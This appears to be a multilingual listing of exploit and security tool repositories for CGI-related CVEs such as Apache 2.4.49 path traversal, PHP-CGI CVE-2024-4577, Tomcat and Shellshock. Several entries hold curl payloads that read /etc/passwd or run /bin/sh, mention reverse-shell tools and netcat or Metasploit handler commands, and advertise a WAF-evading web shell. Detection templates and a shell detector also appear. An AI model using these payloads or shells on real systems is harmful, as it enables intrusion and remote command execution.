cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 における Path Traversal の脆弱性 RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh フォローする Vulnmachines...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE プロジェクト概要と原理 PHPのデフォルト環境（XAMPP）を利用した世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。 PHPデフォルト環境を利用した世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。オリジナルエクスプロイトを共有し、SSRFをサポートし、WAFバイパスをサポートします。 PHPデフォルト環境でのRCEを実現。原理：cgi.forceredirect + REDIRECT-STATUS。...

PHP-Shell-Detector

웹 쉘 탐지기 웹 쉘 탐지기는 php/cgiperl/asp/aspx 쉘을 찾고 식별하는 데 도움을 주는 php 스크립트입니다. 웹 쉘 탐지기는 '웹 쉘'을 최대 99%까지 식별하는 데 도움을 주는 '웹 쉘' 시그니처 데이터베이스를 보유하고 있습니다. 최신 자바스크립트 및 CSS 기술을 사용하여, 웹 쉘 탐지기는 가볍고 사용자 친화적인 인터페이스를 제공합니다. 웹 쉘 탐지기는 MIT 라이선스 http://www.opensource.org/licenses/mit-license.php 하에 배포됩니다. 콘솔 버전 python:...

CVE-2024-4577-PHP-CGI-RCE

이 문서는 php-CGI-RCE 취약점을 위해 작성된 YAML 파일입니다 - 고위험 개요 root@kitploit: php-CGI는 웹 서버에서 PHP 스크립트를 실행하기 위한 인터페이스로, CGI공용 게이트웨이 인터페이스를 통해 PHP 인터프리터와 웹 서버를 연결합니다. 취약점 발생 원인 root@kitploit: PHP 설계 시 Windows에서 문자 변환의 Best-Fit 특성을 무시했습니다. php-cgi가 Windows에서 실행되고 다음 언어 코드간체 중국어 936/번체 950/일본어 932 등를 사용할 때, 공격자는...

CVE-2019-0232

CVE-2019-0232 説明 これは、CVE‑2019‑0232 の悪用ワークフローを自動化するツールであり、コマンド実行モードとリバースシェルモードの両方を提供します。コマンドの自動 URL エンコードをサポートし、一時的な HTTP サーバーを起動して nc.exe をホストし、certutil を使用して脆弱な Apache Tomcat CGI エンドポイントにアップロードし、リバースシェルをトリガーした後、自動的に HTTP サーバーを終了します。スクリプトは必須の引数を検証し、ペイロード URL を構築し、悪用リクエストを送信し、合理化され制御された悪用プロセスを保証しま...

Emerson Dixell XWEB-500 - Arbitrary File Write

Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logoextraupload.cgi, /cgi-bin/calsave.cgi, and /cgi-bin/loutils.cgi, letting attackers write any file on the system, exploit requires no authentication. id: CVE-2021-45420 info: name: Emerson...

Telesquare TLR-2855KS6 - Arbitrary File Creation

An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts. id: CVE-2021-46418 info: name: Telesquare TLR-2855KS6 - Arbitrary File Creation author: DhiyaneshDK severity: high description: | An unauthorized file creation vulnerability in...

Zyxel - Authentication Bypass

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware...

CVE-2024-4577

Orange Tsi 🍊 この脆弱性は、DEVCORE @d3vc0r3 の Orange Tsai @orange8361 によって発見されました。彼の卓越した研究を必ずフォローしてください。私たちの役割は、この問題に対するエクスプロイトを再現し、開発することだけでした。 セキュリティアラート: CVE-2024-4577 PHP CGI 引数インジェクションの脆弱性 概要 CVE-2024-4577 は、CGI 構成に影響を与える PHP の重大な脆弱性であり、攻撃者が細工した URL パラメータを介して任意のコマンドを実行できるようにします。 影響を受けるバージョン PHP 8.3...

CVE-2024-4577-RCE

PHP CGI 引数インジェクション CVE-2024-4577 RCE 📜 説明 PHP 8.1.（8.1.29 以前）、8.2. （8.2.20 以前）、8.3.（8.3.8 以前）のバージョンにおいて、Windows 上で Apache と PHP-CGI を使用する際、システムが特定のコードページを使用するように設定されている場合、Windows は Win32 API 関数に与えられたコマンドラインの文字を置き換えるために「Best-Fit」動作を使用することがあります。PHP CGI モジュールはこれらの文字を PHP...

PoC-CVE-2021-41773

CVE-2021-41773 PoC CVE-2021-41773 に対して脆弱なホストを確認するための概念実証スクリプトです。 説明 https://vulners.com/cve/CVE-2021-41773 Apache HTTP Server 2.4.49-2.4.50 のパス正規化の変更に欠陥が見つかりました。 攻撃者はパストラバーサル攻撃を使用して、想定されたドキュメントルート外のファイルに URL をマッピングできる可能性があります。ドキュメントルート外のファイルが "require all denied"...

CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Nuclei テンプレート このリポジトリには、CVE-2024-4577として特定されたPHP CGI引数インジェクション脆弱性を検出するためのNucleiテンプレートが含まれています。 テンプレートの詳細 root@kitploit: id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity: critical description: CVE-2024-4577 PHP CGI Argument...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian 概要 このリポジトリはCVE-2014-6271のPoC環境です。 apache2コンテナイメージを使用して、脆弱性を含むWebサービスをデプロイできます。 準備 イメージのビルド Dockerfileから安全でないイメージをビルドします。 root@kitploit: docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docker build -t training-website-poc:v1.0 ./web-insecure/...

CVE-2019-0232

CVE-2019-0232 脆弱性分析とApache Tomcat - CGIServlet enableCmdLineArguments リモートコード実行 RCE のPoC ビデオPoCはこちら: https://www.youtube.com/watch?v=RA7kzuHOWqA 詳細 Apache TomcatはCGIサーブレットに脆弱性があり、リモートコード実行（RCE）を達成するために悪用される可能性があります。これは、Windows上で非デフォルト設定かつバッチファイルと組み合わせて実行されている場合にのみ悪用可能です。 Common Gateway Interface...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC ツール ======= BadBash は CVE-2014-6271 RCE エクスプロイトツールです。基本バージョンは HTTP CGI サイトのみをチェックし、ポート 1234 での netcat リバースシェルのみを提供します。 開発者 : Andy Yang バージョン : 0.1.0 ライセンス : GPLv3 元の GitHub プロジェクト : https://github.com/RainMak3r/Rainstorm...

CVE-2017-17562

CVE-2017-17562 RCE GoAhead webサーバ 2.5 3.6.5 CVE-2017-17562 用のスタンドアロンPython 3リバースシェルエクスプロイト。GoAhead Webサーバ バージョン2.5 3.6.5で動作します。 ブログ記事はこちら。 Python 3.7で記述・テスト済み。ベースはこちらのPOCと脆弱性環境。一部のコードはMetasploitモジュールから借用。...

cve-2018-1207

cve-2018-1207 iDRAC 7 & 8 ファームウェア 2.52.52.52 を悪用する 説明 Dell EMC iDRAC7/iDRAC8（バージョン2.52.52.52未満）にはCGIインジェクションの脆弱性が存在し、リモートコード実行に悪用される可能性があります。リモートの認証されていない攻撃者がCGI変数を使用してリモートコードを実行できる可能性があります。 このコードにより、iDRACサービスがrootユーザーとしてリバースシェルを開くようになります。 使用方法 ローカルリスナーを起動: nc -v -l -p localport nc -v -l -p 5500...

CVE-2024-4577

CVE-2024-4577 php-cgi 用エクスプロイト...

DAws

안녕하세요, 여러분, 소개 DAws가 세상의 모든 웹 셸보다 나은 이유는 여러 가지입니다: 1. Suhosin과 같은 보안 시스템IPS, WAF 등을 우회합니다단지 명령을 실행하기 위해 최대 20개의 PHP 함수를 사용합니다 2. CGI 셸을 드롭하고 이를 통해 통신하여 보안 시스템을 우회합니다 3. SSH Authorized Keys 방식을 사용하여 보안 시스템을 우회합니다 4. Shellshock을 2가지 방식으로 사용하여 보안 시스템을 우회합니다 5. 완전히 POST 기반이며, 새 세션이 생성될 때마다 생성되는 임의 키...

goahead-rce-exploit

GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337...